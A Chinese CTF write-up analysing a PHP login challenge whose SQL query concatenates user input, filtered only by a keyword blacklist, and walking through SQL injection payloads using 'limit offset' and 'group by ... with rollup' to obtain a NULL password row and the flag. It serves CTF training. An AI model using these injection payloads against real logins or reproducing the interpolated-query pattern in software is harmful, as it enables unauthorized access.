天天看点

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

12.因缺思汀的绕过

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过
CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

分析:

先查看页面源代码,收集信息:

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过
CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

看来这又是一道代码审计:

<?php
error_reporting(0);
 
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="uname" type="text"/>'."<br/>";
    echo '<input name="pwd" type="text"/>'."<br/>";
    echo '<input type="submit" />'."<br/>";
    echo '</form>'."<br/>";
    echo '<!--source: source.txt-->'."<br/>";
    die;
}
 
function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){#判断是否为数组
        $StrValue=implode($StrValue);#如果是数组,则连接成字符串
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
       #只要匹配到就是exciting!/匹配到一次就停/匹配方式就是正则
        print "水可载舟,亦可赛艇!";
        exit();
    }
}
 
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
#foreach 可以遍历数组与对象,它会把当前单元的键名也会在每次循环中被赋给变量 $key,
#值赋给变量$val,
    AttackFilter($key,$value,$filter);
}
 
 
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
    die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
 
 
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); #执行语句
if (mysql_num_rows($query) == 1) { #该函数返回一个整数,表示记录中有多少行数据
    $key = mysql_fetch_array($query);
#mysql_fetch_array() 函数从结果集中取得一行作为关联数组,第二个参数,(MYSQL_BOTH - 默认)。
#同时产生关联和数字数组
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";#很明显,这是重点
    }else{
        print "亦可赛艇!";
    }
}else{
    print "一颗赛艇!";
}
mysql_close($con);
 
?>
           

总结:

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

这里有三层限制,绕过这三层限制就可以得到flag

0X00

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";

在第一层的filter里面就过滤了常用的SQL关键词,所以常规的SQL 注入就不行了。如果输入了filter里面的语句,网页返回“水可载舟,亦可赛艇!”

0X01

if (mysql_num_rows($query) == 1) { 
//返回结果集中行的数目
    $key = mysql_fetch_array($query);
           

第二层是限制从数据库返回的数据必须是一行,在满足第一层条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。 

注意它的查询语句是  $sql = select * from interest where uname = ‘{$_POST[‘uname’]}’于是构造:

1' or 1 limit 1 offset 0#

1' or 1 limit 1 offset 1#

1' or 1 limit 1 offset 2#

发现2#时返回“一颗赛艇!” 其他都是“亦可赛艇!”———–说明数据库只有两条信息

举例解析:

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

1' or 1 含义如下:

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

Group by with rollup 会在最后多计算一个总数(更多参考:https://blog.csdn.net/qq_42254088/article/details/81904819)

注:with rollup 与group by一起使用,可以获得额外的行,提供了更高一层的求和结果。group by 子句:代表分组

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过

0X02

$key['pwd'] == $_POST['pwd']

接下来想办法绕过第三层,这里是个if判断,只要为true 就可以过,于是可以利用group by with rollup来绕过,用with rollup 来获得NULL值,然后在pwd里不写值,if就为true了。

构造: 1' or 1 group by pwd with rollup limit 1 offset 2#

(注:这里为什么用2是因为,在前面的测试中我们知道interest表有两行数据,那么利用1' or 1 group by pwd with rollup 又得到了一个pwd为null的额外的行,只要我们密码为空,即可查询成功, null==空字符串  为true)

CTF-Web12(涉及PHP代码审计及mysql中的with rollup , limit offset的利用)12.因缺思汀的绕过